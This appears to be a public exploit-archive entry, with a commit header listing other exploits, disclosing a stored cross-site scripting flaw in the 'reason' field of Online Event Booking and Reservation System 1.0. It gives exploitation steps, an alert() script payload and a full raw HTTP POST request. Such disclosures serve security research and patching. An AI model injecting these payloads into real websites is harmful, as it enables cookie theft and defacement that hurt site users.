358c35770a
17 changes to exploits/shellcodes Netgear Genie 2.4.64 - Unquoted Service Path OpenClinic GA 5.194.18 - Local Privilege Escalation Gestionale Open 11.00.00 - Local Privilege Escalation Hikvision Web Server Build 210702 - Command Injection WordPress Plugin TaxoPress 3.0.7.1 - Stored Cross-Site Scripting (XSS) (Authenticated) Engineers Online Portal 1.0 - File Upload Remote Code Execution (RCE) Build Smart ERP 21.0817 - 'eidValue' SQL Injection (Unauthenticated) Apache HTTP Server 2.4.50 - Remote Code Execution (RCE) (2) Balbooa Joomla Forms Builder 2.0.6 - SQL Injection (Unauthenticated) Online Event Booking and Reservation System 1.0 - 'reason' Stored Cross-Site Scripting (XSS) Engineers Online Portal 1.0 - 'multiple' Stored Cross-Site Scripting (XSS) Engineers Online Portal 1.0 - 'multiple' Authentication Bypass Engineers Online Portal 1.0 - 'id' SQL Injection WordPress Plugin Media-Tags 3.2.0.2 - Stored Cross-Site Scripting (XSS) WordPress Plugin Ninja Tables 4.1.7 - Stored Cross-Site Scripting (XSS) Wordpress 4.9.6 - Arbitrary File Deletion (Authenticated) (2) phpMyAdmin 4.8.1 - Remote Code Execution (RCE)
41 lines
No EOL
1.7 KiB
Text
41 lines
No EOL
1.7 KiB
Text
# Exploit Title: Online Event Booking and Reservation System 1.0 - 'reason' Stored Cross-Site Scripting (XSS)
|
|
# Exploit Author: Alon Leviev
|
|
# Date: 22-10-2021
|
|
# Category: Web application
|
|
# Vendor Homepage: https://www.sourcecodester.com/php/14241/online-event-booking-and-reservation-system-phpmysql.html
|
|
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/event-management.zip
|
|
# Version: 1.0
|
|
# Tested on: Linux
|
|
# Vulnerable page: HOLY
|
|
# Vulnerable Parameters: "reason"
|
|
|
|
Technical description:
|
|
A stored XSS vulnerability exists in the Event management software. An attacker can leverage this vulnerability in order to run javascript on the web server surfers behalf, which can lead to cookie stealing, defacement and more.
|
|
|
|
Steps to exploit:
|
|
1) Navigate to http://localhost/event-management/views/?v=HOLY
|
|
2) Insert your payload in the "reason" parameter
|
|
3) Click "Add holiday"
|
|
|
|
Proof of concept (Poc):
|
|
The following payload will allow you to run the javascript -
|
|
<script>alert("This is an XSS")</script>
|
|
---
|
|
|
|
POST /event-management/api/process.php?cmd=holiday HTTP/1.1
|
|
Host: localhost
|
|
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
|
|
Accept-Language: en-US,en;q=0.5
|
|
Accept-Encoding: gzip, deflate
|
|
Content-Type: application/x-www-form-urlencoded
|
|
Content-Length: 81
|
|
Origin: http://localhost
|
|
Connection: close
|
|
Referer: http://localhost/event-management/views/?v=HOLY&msg=Holiday+record+successfully+deleted.
|
|
Cookie: PHPSESSID=3ptqlolbrddvef5a0k8ufb28c9
|
|
Upgrade-Insecure-Requests: 1
|
|
|
|
date=2021-12-21&reason=%3Cscript%3Ealert%28%22This+is+an+xss%22%29%3C%2Fscript%3E
|
|
|
|
--- |